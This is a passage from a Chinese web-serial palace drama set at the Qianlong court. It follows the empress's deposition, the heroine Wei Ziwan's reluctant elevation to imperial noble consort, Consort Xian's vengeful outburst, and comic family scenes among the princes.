乾隆帝倒是后知后觉贵妃过往的情意并非作假,若是一个人起初是装着的虚情假意,可装了十年,始终不露出破绽,难道这虚情假意之中就没有掺杂着真意吗。 乾隆闭了闭眼。 若是紫菀始终不求其他,不求恩宠,不求地位,不求提拔家族,也不求给自己皇子谋得更多的益处—— 甚至紫菀还让永琮迎娶科尔沁博尔济吉特氏,一旦皇子迎娶了这蒙古贵女,随之而来的便是无缘皇位,只要其他皇子不出意外,这皇位就永远都轮不到永琮。 紫菀比谁都清楚这一点。 而永璐虽不是紫菀的亲生儿子,但这些年来,永璐只将紫菀一个人当作自己的亲生额娘。 按道理来说,永璐就算娶了满洲大族贵女,也没法给紫菀争光,就算日后成为大清帝王,永璐注定只是将紫菀封做皇贵妃,而非皇后,拾得果子的人反而是曾经的罪人柏氏。 毕竟柏氏是永璐生母,就凭这一点,永璐永远都不可能越过柏氏册封紫菀为皇太后。 所以紫菀有何可争的,紫菀甚至什么都不争,只求在宫里安稳过日子。 在贵妃不理会他的这些时日,他辗转反侧,便是怨恨过贵妃,也怨恨过自己,还怨恨过跟贵妃的儿女,恼怒过自家皇额娘阻挠自己见贵妃,说不定皇额娘和裕贵太妃还是让他和贵妃感情生分的罪魁祸首之一。 这让他没法不在意,没法不计较,他甚至一度恨上了让他和贵妃感情生分的人。 他最无法释怀的就是紫菀到底有没有对他付出过真心。 若是付出过真心,那为何那时让他看到了假意,又为何在他察觉这一切事情后,避之不见他。 让他恨上他自己吗?让他恨自己多此一举试探贵妃真心,或是因那一眼的不同而质疑贵妃对他的真心。 是不是因为这个,紫菀才对他彻底失望,害怕他,畏惧他,见到他就想躲开。 可若是紫菀对他没有一丝真心,又怎会跟他虚情假意十年。 整整十年,他不信自己看不出一个人的真心。 他承认是自己的怀疑让紫菀对他丧失了最后一丝真心,但罪魁祸首绝不只是他。 紫菀什么都不求,这样性子纯粹的人,怎么可能打从一开始就无法对他寄托真心。 一定是这后宫妃子的算计,让紫菀无法安心对他真心实意。 若是这后宫安宁,紫菀一定会真心待他,而不至于发生这种种让人难受的事情。 所以, 皇后便是这罪魁祸首,他无法原谅皇后。 还有曾经跟皇后针锋相对的慧妃,都无法原谅。 他若是不让她们付出代价,又如何让这后宫安宁。 只要让这后宫安宁了,紫菀一定会重新将心思放在他身上吧。 一切都能重来的,他只盼着还有重来的机会,不然他无法想象自己会做出什么。 …… 不久后,朝中一片哗然。 乾隆帝于朝中面无表情公布了皇后的种种罪证,说要废后。 朝廷臣子被皇后犯下的罪过惊住了,大清皇后乃天下人的国母,若是这国母害人,便等同于说天下最该贤良的女子从不曾贤良。 当时富察傅恒铁青一张脸,求皇上重新审查此事,他绝不相信皇后娘娘是个容不得人的毒妇。 不管皇后是不是这样的人,富察傅恒清楚,一旦这个罪名扣到自己亲姐身上,那富察氏一族就被毁了。 不光毁了自家女儿的婚事,还毁了整个家族的族人,族人再无往上爬的可能,甚至他这个位高权重的臣子也会因亲姐的连累此生无缘仕途,这辈子能活到寿终正寝便算他好运了。 他甚至想过以死证清白,但是他死又有何用,他亲姐的罪名被皇帝扣下了,这辈子都无法翻身。 皇上怎么这般狠心,富察氏一族也是为皇家效劳数代人,皇上就此废了他们这一族,这是不想他们就此安生了。 但其他臣子就不这么想了,富察氏一族霸占帝王目光多年,每逢皇帝有赏赐,便总不会落下富察傅恒的恩惠,其他臣子盼着能在帝王面前得宠多年了,但这富察傅恒却总是挡在所有人面前。 夺人钱财如害人性命。 看富察傅恒不爽快的臣子绝不止一两个。 因此大多数人支持废后,只要皇后罪名定下来了,不愁没有其他臣子成为皇帝心腹的时候。 说到底,富察氏一族是有着皇帝的看重,地位才水涨船高,换个世家贵族,也同样能达到富察氏一族如今的地位。 毕竟曾经的佟佳氏一族也是地位不如其他世家贵族,若非康熙帝决意要抬母族,又何来的曾经的‘佟半朝’一说。 ‘佟半朝’便足以证明佟佳氏一族在朝廷上的辉煌以及受皇帝重视的程度了。 而今富察氏一族虽没有‘富察半朝’的说法,但这实际上也有了堪比当初佟佳氏一族的地位。 这如何不招人艳羡。 便是在浩浩荡荡的声势下,皇帝面无表情定下了皇后的罪名,并且废后一事一经商议,便彻底定下来了。 皇后亲弟富察傅恒当即晕过去,人事不省被人搬走。 朝廷上发生这么大的事,好些高位听了都震惊得久久不得言语。 以往贤良淑德的皇后并非贤良淑德,而是个毒妇。 好些人先是不可置信,再是平静接受。 因这层名声在,好些高位回忆起潜邸旧事,不少人将早些年的锅全都扣在皇后身上。 像是大阿哥的生母哲妃在临近皇上登基前突然病逝,还有那怀着身孕的仪嫔黄氏也是在皇帝登基前没了孩子,往后身体虚弱就此一命呜呼,没赶上皇上登基后的位份册封,一个被皇上追封为哲妃,另一个被皇上追封为仪嫔。 而在潜邸时唯一生下孩子还活着的格格只有如今的宫妃纯妃苏氏。 纯妃出身不好,乃是民籍汉人,也就是在生下三阿哥永璋以后才被皇上抬进汉军旗包衣,但实际上家世还是极其低微,算是四妃之中家世最不起眼的一位了,如果其他汉军旗包衣妃子生下来的子嗣还有机会一争皇位,那纯妃的子嗣便是最不可能的。 就因这出身摆在这里。 所以这就是皇后能容得下纯妃的原因吗? 不光是种种疑虑、种种锅扣到皇后身上,还有种种阴谋算计。 魏紫菀听到时都觉得这些人异想天开了。 别的不说,她们怀疑的,她感觉都不成立。 即便她不是万岁爷的潜邸旧人,但有一件事她很清楚,就是以皇后当时的身份,何至于不折手段对两个包衣出身的格格下手,那可是皇上的正妻啊,犯得着这样吗。 妻和妾的地位怎能混为一谈。 再说了,即便其中一个包衣格格生下大阿哥永璜,另一个包衣格格身上怀着身孕,可皇后当时也有二阿哥永琏。 这是皇上钦定的继承人,那时的永琏远比皇上的其他子嗣聪慧上进,文武双全,可惜被一场病要走性命了。 但在永琏去之前,皇后绝无可能对其他人动手的动机。 而在永琏去之后,宫里有宫妃生下四皇子永珹、五皇子永琪、六皇子永瑢和七皇子永琮…… 在众多皇子出生时,皇后都冷眼旁观,她虽说不上皇后一定非常贤惠,但是她能肯定皇后毫无对这些子嗣动手的动机。 毕竟在二皇子永琏活着时,其他皇子远不如二皇子永琏。 在二皇子永琏夭折后,皇后没了要帮自己子嗣坐上皇位的念想,后宫无论哪个皇子坐上皇位,皇后都能稳坐母后皇太后的位置,这个位置哪怕是皇帝亲生额娘也没法越过的。 圣母皇太后于地位上比不过母后皇太后,便是大清宗法不容置疑的一点,皇后绝对能稳坐钓鱼台。 皇后之所以害人,只是因为十二皇子的出生,而十二皇子是嫡子,又天生愚钝,万岁爷并没有定下十二皇子的储君之位。 而嫡子一旦不能继位,于皇后而言是一场多大的打击可想而知。 魏紫菀能肯定皇后对宫中皇子起了杀心,便只能是在十二皇子出身之后的事情。 但是也不能说皇后在这之前是全然无辜的。 魏紫菀闭了闭眼,至少在慧妃还是高贵妃的那段日子,皇后跟慧妃斗得还挺热闹的。 她这个旁观者都怕自己被连累到。 或者说如果不是她避得远,她还真被慧妃害到了,她相信慧妃有这个能耐。 所以比起皇后,她更想慧妃倒霉。 但皇后提前倒霉也算是个好消息。 她现在能做的称得上是对皇后抱有最后一丝敬意的做法是,不参与这宫里的流言蜚语,只安安静静过完这段废后的日子。 等废后的风波停歇下来后,万岁爷估计就得册立新后了。 这宫里来来去去的不是新人就是旧人,她已经习惯了这些事了,但愿新后是个好相处的吧。 想起历史上乾隆帝册立的继后那拉氏,又想起现在的娴妃那拉氏。 魏紫菀情不自禁打了个哆嗦,她现在都不知道是盼着老熟人娴妃成为继后,还是盼着这宫里来个新人做皇后了。 但不管怎么说,比起娴妃,新进宫的贵女做皇后或许还是件不错的事,即便这新皇后日后有子,她的两个儿子一个迎娶蒙古贵女,一个迎娶汉军旗女儿,哪一个都对皇位构不成威胁,更是不会影响这继后的子嗣。 可若是娴妃成为继后,看娴妃现在疯疯癫癫的模样,还争夺自家侄女子嗣,她光是想着便觉得不寒而栗。 她别的不求,就求这宫里来个正常人吧。 …… 魏紫菀最近总喜欢带上婉嫔和颖贵人陪两个女儿玩。 寿康宫暂时去不得,当心引起皇帝注意。 低调才是明哲保身之道。 至于两个女儿,在储秀宫这个院落里玩得挺高兴的,有两位娘娘陪玩,那小嘴始终高高扬起,不曾落下笑容,若非亲娘在旁边一直看着,这两小孩可能玩得乐不思蜀。 自从亲娘不再愁容满面后,这两个小孩就彻底放开自我了,额娘高兴,她们就高兴,并且要将之前一段日子的不高兴全部玩回来,要双倍的开心,双倍的快活。 魏紫菀倒是在这当口想起了一件要事。 “颖贵人, 太后娘娘跟本宫说过了,你也是这宫里的老人了,又陪着本宫许久,也是尽心伺候万岁爷,伺候皇太后,也该升一升这位份了。” 位份一事对宫里的宫妃而言有着致命的吸引力,这象征着更好的待遇身份,颖贵人一听自己能升位了,那双招子顿时发亮,赶紧三步做两步跑到魏紫菀跟前,“娘娘,您说的是真的吗?婢妾也能跟婉嫔姐姐一样成为嫔位了?” “本宫何时骗过你,皇太后又何时骗过本宫,你就安心吧,该是你的,别人夺不走。” 魏紫菀笑了笑,觉得她这反应实在可爱,但这也是人之常情。 颖贵人入宫多年,身份其实并不低,至少比她原先的出身高,但即便如此,也是进宫熬了那么多年才从皇太后口中要来一个升位的承诺,还是挺不容易的。 “娘娘,”颖贵人先是高兴了一会儿,再愁容满面,“若是婢妾成了嫔位,那婢妾能不能像婉嫔姐姐那样一直留在储秀宫,婢妾可不愿去了别处。” 且不说去了别的宫殿一切都得自己上心,她要打点宫殿里的奴才,还得担起一宫之主的职责,这些事想想都麻烦,还是在娘娘的庇护下过日子更好些。 毕竟娘娘是真的对她们好,自己有的一份恩惠,绝对不会落下给她们的。 娘娘现在从宫外的门面挣的银两,也是分给了她们这些妃子。 去了别的宫殿哪还有这么好的待遇。 魏紫菀看她愁容满面,忍不住笑了,“你在说什么,就算你想,皇太后也没说要让你搬出去啊,你还是老老实实跟婉嫔一块在储秀宫继续过日子吧,本宫还盼着你们继续帮本宫操持门面,还有这宫里的其他妃子也得让你们帮忙管着,本宫都当惯那甩手掌柜了,你要是说走就走,岂不辜负本宫的用心了。” “娘娘真好。”颖贵人这人感性极了,听娘娘这么一说,立马泪珠子浮现在眼眶里了。 直让婉嫔没眼看,娘娘的好,她早就知道了,但颖贵人总是这副不争气的模样,被娘娘看到了,还以为她们都是这副不争气的样子。 要他说,娘娘对她们好,那她们就将这份好记在心上,用行动报答娘娘的好,颖贵人老是哭有什么用。 颖贵人一旦哭起,那哭声一时间没法停下来的。 魏紫菀只好借出自己的肩膀让她靠着哭,无奈道:“以后本宫就不提前告诉你这消息了,省得你又哭,你这样子,要让本宫拿你如何是好,就不能再争气点吗,婉嫔可不似你这样,婉嫔当初可镇定了。” 颖贵人一边抽泣一边不争气道:“婢妾确实不如婉嫔姐姐争气,但婢妾也不求争气,婢妾只求娘娘怎么样都好,别抛下婢妾就好,婢妾所求不多,便是能升得高位,以后都能跟娘娘葬到一处。” 这宫里的妃子百年后一般都是同位份的葬到一处。 魏紫菀知道她想表达她们百年后都要亲亲密密的意思,但是想到百年之后都化作一捧黄土,她还是禁不住打了个哆嗦。 百年之后啊,想想这种事还是不经想。 她现在还年轻,她还想着等永琮永璐和静和恪成亲后,她到他们府上轮流过日子,那才是她期待已久的美满日子,想想就觉得幸福。 只不过那时候颖贵人和婉嫔这两个粘人精—— 或许永琮永璐能帮她求得新帝,让她带两个好姐妹一起出宫享受日子。 想到这,魏紫菀不禁后悔早些年没让儿女们被这两个宫妃抚养一段日子了,有过抚养的名分在,如同康熙帝的宜妃,在长子被囚禁后,被养子接出宫孝敬了。 有这等前例在,她两个姐妹再怎么说也能被一视同仁吧。 失策了。 魏紫菀心里连连叹息。 …… 宫里宫外如今的情况便是盛传皇后毒后的名声。 皇后始终不知,她被囚禁到长春宫,始终不闻外界风声。 慧妃得知这些时候,就差出现在皇后面前耀武扬威了,只是皇后那里被人看得紧,任何妃嫔都无法越过重重防线出现在皇后面前。 不过她心情爽快倒是真的,以往盼着皇后倒台,但皇后贤良淑德的名声始终牢牢悍着,旁人无法动摇,皇后不管有子还是无子都是这宫里地位最高的贵主儿。 她以往生有龙凤胎时都不指望将皇后扳倒,只盼着龙凤胎长成之后,永璇能仗着龙凤胎的吉祥名声跟皇后的嫡子一较高下,但是如今皇后自己将自己整垮了,等皇后的身份一被废除,十二阿哥永璂便不再是嫡子的身份。 而各宫子嗣中,明摆着位份最高的贵妃,贵妃的一亲子一养子都自绝夺位可能—— 这是贵妃在皇后倒台之前做的事情,即便当时贵妃是聪明的,想要借此避过皇后的算计,但是用现在的目光来看,贵妃真是愚不可言,就差了一步,就彻底将自己儿子的夺嫡之路堵死。 贵妃终究是差了一步运道啊。 不然等皇后和嫡子一倒,宫里最显眼的便是贵妃的两个儿子了。 慧妃嘴角控制不住抽动了一下,缓缓扬起笑容,心情十分快活,快活到旁人无法想象的地步。 贵妃的两个儿子不能继承皇位了,那便宜的就只能是她了。 谁叫有子的宫妃中,她算是位份极高的,并且她的子嗣还是一对龙凤胎,这就注定其他妃子所出子嗣比不过她的永璇。 当然,现在最重要的事还是亲眼目睹皇后倒台,唯有这样,她的儿子才能被万岁爷注意到,她已经迫不及待等着这一幕发生了。 慧妃心情之畅快,各宫人皆有听闻。 高兴者有,但都不像她这么高兴。 皇后倒台了又不意味着她们能坐上后位,她们反而还要迎来新后,这新后是个什么性情的人暂且不知,但要是以为一切事情都偏向她们,那还真是无可救药的愚钝了。 她们只能盼着新后是个好的,或是个真正贤良淑德的女人就好。 这样她们才能在这位新后的手下活得舒舒服服。 娴妃跟慧妃心情截然相反。 娴妃得知皇后被颁布的种种罪名。 尽管有些事没有光明正大广而告之,毕竟天下人只要知道皇后有罪,具体过程就没必要知道了。 可娴妃无时无刻都想知道害自己孩子的人的幕后推手是谁,从前她怀疑过皇后,但没有确实的证据,如今看皇上这副容不得皇后的样子,她立马去乾清宫外跪下来,求皇上给她一个说法。 万岁爷只让她跪着,跪了半天都没给她一个答案,便让她回去了。 从那时起,她就确信无疑皇后才是这一切的罪魁祸首。 也因此,她要让皇后不惜代价绝望死去! 长春宫是有着重重防守,但她若是拼了一条命,也不是不能让皇后知道一切真相。 要是让皇后只在被废了后位那段日子痛苦,那多可惜了,要是不能现在就让皇后时刻备受煎熬,不能让皇后知道富察氏的族人因她受了多少折磨,甚至于出嫁的女子都要被遣返回娘家,这种种事情不让皇后知道,她怎么舍得。 她曾经为了自己的子嗣受过那么多折磨,凭什么皇后就能这么轻松。 她眼睁睁看着自己的孩子化作一滩血水,她这辈子都无法原谅皇后,她要皇后这辈子饱受折磨! 娴妃面无表情回了自己的翊坤宫。 皮笑肉不笑叫来奴才将自己打扮好,以最光鲜亮丽的面容出现在长春宫宫外,便是不顾一切闯进去,即便有宫女的阻拦,这也不妨碍她大肆张扬朝着长春宫内喊着皇后被废之事天下皆知,皇后是毒妇之事传遍天下,富察氏一族因皇后这个毒 妇受了无数折磨。 便是等她喊完这些话,旁边的奴才总算捂住她的嘴了。 可这时已经迟了,娴妃该说的都已经说完了,尽管不能让皇后看到她此时穿着的一身华服,也不能亲眼目睹皇后此时的狼狈。 但是听到长春宫里传出的哀嚎声,娴妃还是痛痛快快大笑着,放肆笑着,心情前所未有的畅快。 她终于为她的孩子报仇了,她让皇后生不如死了。 笑着笑着,娴妃身子软成一滩烂泥,被人扶着出去,稍后皇帝传来命令,让她禁足。 可这会儿不管是禁足也好还是让她受皮肉之苦也罢,娴妃心愿达成了,有些事情便不是什么大事了,她只管她现在的畅快。 她哼着小曲,照顾着在床上的小孩,这是她的侄孙儿,也是目前为止跟她子嗣血脉最亲近的人。 想到这,她突然怔住了,又忍不住嚎啕大哭。 要是她的孩子能留下来就好了,即便只是出生就夭折,但是她一定能让万岁爷给孩子起个名字的,只要有了名字,就有了归属。 这样她就能过继侄孙儿给她孩子了。 她的孩子也能有香火祭拜了,不再是黄泉下无名无姓任人欺负的小鬼了。 她又是哭个没完,孩子受她影响,也忍不住嚎啕大哭,奶娘们惊慌失措接过孩子哄着,而娴妃无人敢动。 奴才们不动声色退下,任由娴妃哭,她们这些奴才也不能做什么。 只盼着娴妃娘娘哭完之后恢复正常,毕竟这翊坤宫还倚仗着娴妃娘娘作主,若是娘娘精神不正常,苦的也只会是她们这些奴才。 …… 皇后在多次试图撞柱无果后,也想过咬舌自尽,但是那些奴才做得更绝,将她嘴塞住了,若是她拼命将嘴里的布给弄开,那些奴才就将她下巴给弄脱臼,这样一来,她如何能咬舌自尽。 她这等情况下只能绝食自尽了。 便是有流不完的泪,她没想到皇上竟做得这么绝,要毁了富察氏一族这百年来的昌盛,她更无法想象,她竟成了富察氏一族的罪人。 她的罪名让天下人皆知,皇上还不如让她干脆死去算了。 怎么让她受了这么多折磨,这么多苦。 她彻底熬不住了。 乾隆帝最是清楚皇后现在的情况,只是过去的夫妻情散去,就毫无情分可言了。 他只是在等着,等着钦天监算好的废后之日的到来。 等那日来临,便是皇后被废的日子,往后将皇后送去圆明园,皇后是生是死都与他无关了。 便是念着多年的夫妻情,他没有绝了皇后性命,便是最好的恩赐了。 乾隆帝默念着日子,闭上眼睛假寐。 魏紫菀听着宫中各种流言蜚语传来传去,得知皇后身上又背了那些锅,又得知娴妃去长春宫外闹过一回,皇后现在什么事情都知道了。 只是这些流言在她耳边传过一遍,都不被她放在心上。 其实这种事情说多了也就那样,趁人惨败时落井下石。 若是那些日子皇上没让她轻易过了他那一关,现在被宫中妃子落井下石的就成了她了。 她毫不怀疑以往待她亲近的妃子会跟她反目成仇,奚落她,除了婉嫔和颖贵人这两个人,毕竟这两人能让她真心以待,肯定是人品方面过得去的。 所以这次皇后被废之事,她全程保持沉默,只听来宫中的流言蜚语——这些话不是她不想听就能不听的,毕竟宫里都传遍了,她要是出了储秀宫走一走,都能听到一些低位妃子在商量这种事。 她再次深刻意识到帝王的手段有多狠绝,这是连半点面子都不留给皇后了。 不管是身份高的还是身份低的,都能将以往高高在上的皇后放在口中议论。 她不禁打了个哆嗦,越发确信自己要远离帝王的想法了。 爱新觉罗氏,爱之欲其生,恨之欲其死,果真不是假的。 …… 两个月后,皇后富察氏正式被废,从此废后的消息便在宫里渐渐没了下文。 谁也不知道废后去了哪儿,但是所有人都清楚,废后的结局肯定不会多好。 皇太后接管宫权,为了一扫这些时日的晦气事,皇太后决定大封后宫。 便是将一些资历够的妃子的位份提一提,好让她们不至于被新人看低。 即便新人出身再高,可入了这皇宫,就得守着这宫里的规矩,入了宫就都是皇上的妃子了,自是看在宫里的资历以及生养的子嗣,还有伺候皇上是否得宜一事。 不然升位全看家世,那就待其他宫妃不公了。 家世这种事只能在刚入宫时锦上添花。 不然以舒嫔的身份,也只在入宫时被封做嫔位,但是这么多年过去,也始终是个嫔位,不如其他出身不好,但是资历深,并且育有子嗣的宫妃更得万岁爷欢心,那些宫妃就差不多都封了妃位。 位份最高的便是这既有资历又有子嗣的贵妃娘娘魏氏。 就在皇太后决心要大封后宫时,皇上下了一道圣旨,便是将贵妃所在的魏氏一族抬进满洲正黄旗,从今往后,魏氏一族便不再是汉军正黄旗人。 并且勒令魏氏一族今后更改姓氏,将魏氏称作魏佳氏。 魏紫菀得知这事后,惊得无法言语,皇上这是在闹什么。 居然将她抬进满洲旗。 是忘了之前他们俩闹得多不愉快吗,都闹翻天了。 还是说皇上就是那等心胸宽大之人。 一想起这个可能,魏紫菀禁不住打了个哆嗦,但不管她怎么猜测,都想不通皇上的意思。 好端端的将她抬旗做什么。 第123章 第123章更新来了 魏紫菀并非看不清形势之人。 她记得历史上孝贤皇后病逝之后,乾隆帝只给娴妃一人抬旗,那时娴妃已经是娴贵妃了,被皇上册封为摄六宫事皇贵妃,明摆着是奔着后位而去的。 先是皇贵妃,之后才能顺理成章以皇贵妃的身份成为皇后。 而大清建国以来就没有出现过满洲下五旗的皇后,而娴妃正好是满洲下五旗的镶蓝旗,所以为了娴妃能稳坐后位,这抬旗之事势在必行。 可万岁爷不给娴妃抬旗,给她抬旗做什么。 让她从汉军上三旗到满洲上三旗,这让她幻视了娴妃册封皇贵妃前后的抬旗流程。 魏紫菀百思不得其解,可千万别是她想的那个事态发展,要是让她成为皇贵妃执掌后宫权,她此生就无法出宫随自己儿女过日子了。 不管皇帝之后会传位给哪位阿哥,这后宫之主,即便并非名正言顺的后宫之主,即便只是当过一时的掌权之人,新帝很大可能不会放她出宫。 但愿只是她多想了。 魏紫菀一整日下来不得安宁。 就怕那宫妃都盼着的位份落在她头上。 可事情总不如人愿,在她盼着皇帝跟她好聚好散时,皇上册封皇贵妃的圣旨下达,册封之人正是她,魏紫菀当时的笑容都僵了,但抗旨不遵这种事她做不来。 便受了这道圣旨,受遍宫里人的恭维。 即便在这之后,娴妃和嘉妃都封贵妃的消息传来,她心里一概的平静。 都封为皇贵妃了,她还能有什么不接受的。 好在她这个出身的人,一辈子都当不上皇后的,皇上不会将她夹在高高架子上永远都下不来。 原身上辈子的梦魇是即便死了也得被千夫所指,被皇帝看不起,唯有儿子被视作继承人后才被追封为皇后,但那都是死后的事了。 而这辈子,她提前让两个儿子绝了争夺皇位的资格,她这个出身的人当不上皇后,她也没生下十五阿哥永琰,更谈不上因成为继承人的生母而被追封皇后。 这辈子她与后位无缘,但她这心情却欢快得很。 因为她无法想象,在生前她都跟皇帝闹成这样了,在死后还合葬,不寒而栗。 凡事往好的方面来想,皇后不能出宫,但皇贵妃还有出宫的机会,在雍正朝还活着的皇贵妃,之所以不能出宫,只不过是因为没有皇子傍身,但她有两个,生子养子都有了,新帝还有什么理由阻拦她出宫! 便是想了千万遍出宫的美事,魏紫菀的心情才平复下来。 又因大封之事不光带上了颖贵人,让颖贵人摇身一变颖嫔,婉嫔也得封婉妃。 毕竟两位妃位成为贵妃了,便空下两个妃位了,一个让婉妃占了,另一个便是让五阿哥永琪的生母得封,愉嫔为愉妃。 四妃之位已满,而嫔位之中又无人提拔上来,这一场大封,只是针对高位的大封 。 魏紫菀对自己宫里两位老熟人晋升还是挺高兴的,别的不说,这两人位份升了,以后葬到一处的可能性越大,她们手上是不缺这宫里每月发放的银钱的,她们自己挣的银子也不少,待遇都是小事,重要的是身后事。 “你们俩都得搬出去,好在为一宫之主的是婉妃,本宫倒放心你们俩。” 因宫中高位太多,这宫所还不够所有嫔位或是嫔位以上的宫妃分配,况且东西十二宫并非每所宫殿都拿来做宫妃住所。 今后婉妃当一宫之主,颖嫔就做她宫里的一位妃子。 当了皇贵妃以后,这宫所便不能像寻常主位那样,能入住低位妃子了。 颖嫔当即哭得稀里哗啦,魏紫菀颇为嫌弃她将眼泪都蹭到自己衣服上了。 等颖嫔好不容易止住哭声,魏紫菀以为婉妃会拉她走,婉妃稳重的模样已深入人心。 但当她抬头时,看到婉妃也是一副要哭不哭的模样,那眼泪在眼眶里打转,眼看着要落泪了。 魏紫菀头皮发麻,闭上眼睛,任由两人往她身上擦眼泪,当一宫之主到这个份上,也算是她能耐了。 …… 娴贵妃受封贵妃后,仍是一副疯疯癫癫的模样,她只在侄孙儿面前才维持一副正常人的模样,其他时候,她已经疯了。 以往求而不得的贵妃之位落到她头上。 她极其难得压在了慧妃头上,可她还是觉得自己输了。 慧妃有两个孩子,但她一个孩子都没有。 娴贵妃嚎啕大哭,又在睡梦中梦到自己的孩儿。 等醒来后意识到贵妃受封皇贵妃时,也只是短暂清醒一下,叹道原来已经是这个时候了,让谁后来居上都无碍,别是那些潜邸旧人就好。 她输给谁都不想输给那些潜邸旧人,最好是皇贵妃赢到最后吧,她也算输得痛快。 不过皇上居然会让她升贵妃,她以为她做了这么多入不得眼的事,会让帝王对她彻底厌弃。 娴贵妃极其难得想起那日她跪在乾清宫外讨个说法时,她没有得到任何答案,但她却什么都猜到了,然后冲到长春宫外,明明戒备森严,但却让她一个手无缚鸡之力的妃子闯进去了。 皇上这是故意而为吧。 她误打误撞做了皇帝盼着她做的事,得了圣心,这或许就是皇上册封她位份的缘故了。 …… 嘉贵妃好一副兴高采烈的模样。 永珹和永瑆不得不劝自己额娘别在外边晃悠,晋升贵妃固然让人高兴,但宫里看不惯额娘成为贵妃的人也有,至少慧妃和纯妃肯定不快,能少给自己招惹麻烦才是明哲保身之道。 嘉贵妃却不以为然,“本宫跟随皇贵妃娘娘多年,万岁爷便是看着这情分上给本宫的贵妃之位,不然你们以为本宫如何越过慧妃和纯妃成为贵妃,娴贵妃原先就是万岁爷的侧妃,先帝钦定的身份摆在那儿,她成为贵妃并不让人惊诧,但本宫成为贵妃,那就得让人好好琢磨了。” 她嘴上还嘀咕着,得亏她让永瑆跟永琮永璐兄弟俩好了,不然皇上还未必将她跟随皇贵妃的事放在心上呢。 永珹眼皮跳得厉害,“额娘您何时跟随皇额娘了。” 据他所知,跟随皇贵妃的妃子只有婉妃和颖嫔吧。 嘉贵妃冷笑一声,“本宫指望你们俩给本宫争光,还得再等几十年吧,但本宫若是讨好娘娘,以娘娘待自己人的好,即便她从未接受过本宫,也会记着本宫的好,你们额娘这叫有先见之明,这贵妃之位,不就到手了。” 永珹被自己额娘的一套哲理说服了。 第124章 第124章第一更 “额娘,儿子怎么觉得您这话还怪有些道理的。” “将“怪有些”三个字去掉,你额娘这叫胸中有丘壑,道理都藏在心里了,你也不跟着学学。” 嘉贵妃说起这个,又有些恨铁不成钢了,永瑆天天跟永琮永璐混得好,这孩子机灵,她放心,反正跟皇贵妃母子几个混在一块,日后前途总少不了的。 唯独永珹这孩子,就顾着自己那些儿女私情,日渐颓废,前些日子看着是振作起来了,但她感觉就是在跟其他皇子在捣乱,还顺便带坏了自己弟弟。 永珹一看额娘这样子就是有长篇大论要说他了,顿时头皮发麻,赶紧将小弟推出去,“额娘,您看,永瑆之前还说要学永琮出宫住,说皇额娘不管七哥,您也不该管他,要让他天高任鸟飞,飞得越高越好。” “飞得越高越好?!”嘉贵妃蹙眉,“永瑆,本宫怎么就不知道你有这个能耐呢?怪不得你总是口口声声说你喜欢你七哥,原来是这么个喜欢啊,本宫真是见识到了。” 永瑆拼命摇头,“额娘,你别听四哥瞎说,他就是个嘴上没把门的。” “额娘,他天天往外跑!”永珹拼命添油加醋。 嘉贵妃果然被转移走注意力了,想起前些时候两个儿子的不着调,一双眸子盛满怒火,“额娘就让你知道,这飞得越高的鸟,摔下来时,会摔成一滩肉泥!” “疼疼疼额娘!”永瑆被提着耳朵难受极了,本来想大骂四哥不讲仁义,将自己最亲爱的弟弟推出去,但是听到额娘的长篇大论,他忍不住好奇问道: “额娘,您亲眼看到鸟摔下来过?真的摔成一滩烂泥了?是不是很难看?其他鸟有没有过来看看自己亲鸟没了?那鸟长什么模样,爷想知道到底是哪种鸟这么蠢会从天上摔下来,爷只看过从树上掉下来的鸟,还没看过飞起来突然摔到地上的鸟,额娘,你怎么不说话了,儿子是真的很好奇啊,您快说,您不说儿子今晚就睡不着了——” “——给本宫闭嘴!” 嘉贵妃感觉自己脑袋疼,疼的厉害,疼的要命,她怎么生下一个嘴皮子这样厉害的儿子,这倒反天罡了啊,当儿子的反过来质问额娘,还有没有天理了。 她气得浑身发抖,永珹悄悄挪开脚步,轻轻地、慢慢地、呼吸轻微地……一溜烟功夫就走了。 永瑆在自己亲哥走时还一脸茫然,“四哥怎么走得这么快……等等,四哥,你跑什么,你坑小爷的事,小爷还没找你算账呢,你躲得过初一,你也躲不过十五!” “好样的,永瑆,你非但躲不过初一,你更躲不过十五!”嘉贵妃阴恻恻道。 永瑆感到背上一凉,“额娘,儿子是您最亲最亲的儿子了,您亲骨肉,您十月怀胎的亲骨肉啊,还是您养了近十年的好儿子啊。” 嘉贵妃语气突然温柔,“所以本宫给你机会了。” “什么机会?”永瑆傻乎乎问道。 “你想让本宫打你手板,还是让本宫揪你耳朵?” 嘉贵妃手上拿着戒尺,面无表情。 永瑆摸了摸自己生疼的耳朵,又看了看自己短小的小手,怀疑人生,这有区别吗? 他已经被额娘拎过耳朵了,再拎耳朵,他没法想象跑到七哥面前时,九哥会怎么嘲笑他。 但是男子汉大丈夫,被额娘打手板,好像也不是什么好听事。 他看着额娘,吞了一口唾沫,有商有量道:“额娘,咱们能不能不打,打在儿身疼在娘心啊。 ” “放心,娘没有心。” 嘉贵妃冷笑一声,抓来小儿子的小手,狠狠一打,伴随着十一皇子凄厉的嚎叫声,嘉贵妃的声音混在其中格外有力,“小小年纪就给我天天往宫外跑,你哥管不了你,本宫来管!” …… 所谓好事不出门,恶事行千里,不出半天,十一皇子被自己额娘打手板的事传遍了阿哥所和后宫。 兄弟们差不多都嘲笑了一遍十一弟,过些时候,永瑆悲愤极了,跑到唯一没有嘲笑自己的七哥面前,“七哥,我知道你对我最好对吧?” 永琮颇有些迟疑,是最好吧,好像也没那么好。 但是在自己亲弟弟面前,他点了点头,担起了作为兄长安抚弟弟的责任,“是这样没错,你想跟七哥说什么?” “七哥啊。”永瑆美得鼻涕泡都出来了,他抱着自己七哥胳膊,语气甜腻,“哥哥,我就知道你是我最好的哥哥,他们这些兄弟都是没心没肺的,也不体谅小爷小小年纪就被额娘打的难受。” 永琮这下是真迟疑了,其实他也没体谅十一弟被嘉贵妃打的难受,因为他没被自己亲娘打过,但是他感觉自己这话说出来,十一弟就真得难受了。 他体贴之极将手放在弟弟头发上,“七哥明白的。” 只是在看到那鼻涕泡时,他默不作声让九弟上来,“来,你九哥看似对你无动于衷,其实还是很关心你的。” “真的吗?”永瑆可怜巴巴抬头,永璐本就是嘴硬心软,看到他哭得这样惨,即便是假哭,他听着也有些微不自在,便撇过脑袋,点了下头。 “呜呜——九哥啊,我也知道你是第二要好的哥哥了!”永瑆猛地扑过去,永璐没注意到自己衣袖上沾上了弟弟的鼻涕泡,还在嘴硬心软安慰他。 唯有永琮默不作声松了口气。 